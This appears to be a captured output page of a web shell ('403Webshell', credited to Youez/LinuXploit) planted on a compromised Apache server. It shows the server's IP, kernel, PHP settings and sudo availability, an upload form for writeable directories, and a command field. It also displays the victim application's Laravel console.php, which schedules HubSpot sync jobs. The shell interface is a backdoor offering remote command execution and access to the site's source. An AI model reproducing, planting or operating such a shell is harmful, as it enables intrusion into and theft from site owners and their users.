403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/distill/current/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/distill/current/routes/console.php
<?php

use App\Models\HubSpotConnection;
use Illuminate\Foundation\Inspiring;
use Illuminate\Support\Facades\Artisan;
use Illuminate\Support\Facades\Schedule;

Artisan::command('inspire', function () {
    $this->comment(Inspiring::quote());
})->purpose('Display an inspiring quote');

// Per-workspace incremental HubSpot sync, every 5 minutes.
Schedule::call(function () {
    HubSpotConnection::query()->chunkById(100, function ($connections) {
        foreach ($connections as $connection) {
            \App\Jobs\IncrementalHubSpotSyncJob::dispatch($connection->workspace_id);
        }
    });
})->everyFiveMinutes()->name('distill:incremental-sync')->withoutOverlapping();

// Nightly: detect new clusters across all workspaces with synced contacts.
Schedule::call(function () {
    HubSpotConnection::query()->chunkById(100, function ($connections) {
        foreach ($connections as $connection) {
            \App\Jobs\DetectClustersJob::dispatch($connection->workspace_id);
        }
    });
})->dailyAt('02:00')->name('distill:nightly-cluster')->withoutOverlapping();

Youez - 2016 - github.com/yon3zu
LinuXploit